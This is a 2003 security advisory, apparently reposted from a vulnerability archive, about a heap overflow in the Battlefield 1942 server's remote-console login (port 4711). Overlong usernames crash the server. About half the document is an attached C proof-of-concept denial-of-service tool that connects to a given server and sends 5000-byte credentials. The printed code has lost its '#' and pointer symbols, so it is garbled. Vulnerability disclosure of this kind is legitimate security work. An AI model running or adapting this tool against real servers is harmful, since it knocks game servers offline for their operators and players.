[VSA0307] Battlefield 1942 remote DoS

2003-02-27T00:00:00
ID SECURITYVULNS:DOC:4138
Type securityvulns
Reporter Securityvulns
Modified 2003-02-27T00:00:00

Description

[void.at Security Advisory VSA0307 - mailto:crew at void dot at]

Battlefield 1942 is a game (c) by Electronic Arts[1].

Overview

By sending a specially crafted packet to the bf1942-server remote administration port, an attacker can cause the server to crash.

It could even be possible to remotely exploit this vulnerability to gain a remote shell (see "Details" for details)

Affected Versions

As I discovered this vulnerability, the game's version was 1.2. Because I don't play this game anymore and I didn't download that overbloated 50 MB patch I have no idea if the current version (1.3) is vulnerable (but I'd bet).

Impact

Medium. The remote server simply crashes.

Details

Battlefield 1942 can be configured to listen to a tcp-port (default: 4711) and accept connections to remotely enter commands or change server variables. A command line utility to do that comes with bf1942 ("RemoteConsole.exe"), and there exists at least one GUI that uses the same protocol.

The session starts by connecting to the rcon-port. The server responds with an XOR-key that is used to send the username and the password (although we don't need that here).

The login credentials get submitted in the following way: (byte) Length of Username (szstring) Username (byte) Length of Password (szstring) Password

Heh, I'm sure you've guessed it, you can overwrite the heap by sending especially long usernames and/or passwords.

Now the interesting part: it is possible to overwrite control information on the heap (like that famous malloc/free-bugs). The problem is, that the chunk that receives the username is the last chunk in the chain, so there is no following control block that could be overwritten to exploit a free-vulnerability. This is the reason I am not able to supply an exploit for this.

The thing is, after that block are pointers to the double- linked ring-list that holds the free blocks. It is possible to overwrite them, but I didn't find a way to exploit that, other than to remotely DoS the server. Perhaps someone more skilled (and with more time) can do that (plz let me know g)

Length of username > 4280 crashes the server.

Note that by the time I discovered this, the only server available was the Windows-version. Today there exists a (beta-)Linux-version too, perhaps you can have more fun with it.

Solution

Disable that remote administration thing until a patch comes out.

Exploit

I've attached a demonstration exploit.

And YES I really wanted to contact the vendors about that problem, but I gave up after straying around on the EA.com website for 15 min. searching for a simple mail address (not to mention requesting a public key...).

Discovered by

greuff <greuff@void.at>

Credits

void.at ^sq, G7 and thokky for giving me links to papers

halvar@blackhat.com for simply ignoring my mail regarding the double-linked-list overwrite.

References

[1] http://www.ea.com


/********* * hoagie_bf1942_rcon.c * * Remote-DoS for Battlefield 1942-Servers that have their * rcon-port activated (4711/tcp by default) * * Author: greuff@void.at * * Tested on BF-Server 1.2 on win32 * * Credits: * void.at * ^sq, G7 and thokky * * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-CONCEPT. * THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY DAMAGE OR * CRIMINAL ACTIVITIES DONE USING THIS PROGRAM. * *********/

include <stdio.h>

include <stdlib.h>

include <unistd.h>

include <sysexits.h>

include <string.h>

include <sys/socket.h>

include <netinet/in.h>

include <sys/types.h>

include <errno.h>

include <netdb.h>

int bf1942_rcon_connect(char servername, int serverport, char user, char pass, int s);

int main(int argc, char argv) { int sock, rval=0; char user, pass; int anz=5000/4280//4272//4200/; if(argc!=3) { printf("Usage: %s servername serverport\n\n",argv[0]); return EX_USAGE; } user=malloc(anz+1); pass=malloc(anz+1); memset(user,0,anz+1); memset(user,'A',anz); memset(pass,0,anz+1); memset(pass,'B',anz); do {

rval=bf1942_rcon_connect(argv[1],strtol(argv[2],NULL,10),user,pass,&sock); if(rval==-1) { printf("Authentication failed. user=%s pass=%s\n",user,pass); user[1]++; close(sock); } else if(rval>0) { printf("Error: %s\n",strerror(rval)); return -1; } } while(0); return 0; }

/ open a session to a bf1942-server (Rcon) * * WARNING this is a minimalist's version of the real rcon-authentication * (XOR's skipped) * * in: servername, serverport, username, pass * out: on success: 0, serversocket in sock * on error : -1 = autherror, errno otherwise / int bf1942_rcon_connect(char servername, int serverport, char user, char pass, int s) { int sock, i, rval; struct hostent hp; struct sockaddr_in inaddr; unsigned long l;

char xorkey[10], buf[20];

if((sock=socket(AF_INET,SOCK_STREAM,0))<0) return errno; if((hp=gethostbyname(servername))<0) return errno; inaddr.sin_family=AF_INET; inaddr.sin_port=htons(serverport); memcpy(&inaddr.sin_addr,(hp->h_addr_list),sizeof(struct in_addr)); if(connect(sock,(struct sockaddr )&inaddr,sizeof(struct sockaddr))<0) return errno;

// connection established. The first thing the server should // send is the XOR-Key for transmitting the username and the // password. if((i=read(sock,xorkey,10))<0) return errno;

// send the username and the password... l=strlen(user)+1; if(write(sock,&l,sizeof(long))<0) return errno; if(write(sock,user,strlen(user)+1)<0) return errno; l=strlen(pass)+1; if(write(sock,&l,sizeof(long))<0) return errno; if(write(sock,pass,strlen(pass)+1)<0) return errno;

if(read(sock,buf,20)<0) return errno; if(buf[0]==0x01) { rval=0; // auth-ok, connection established *s=sock; } else rval=-1; // auth-error return rval; }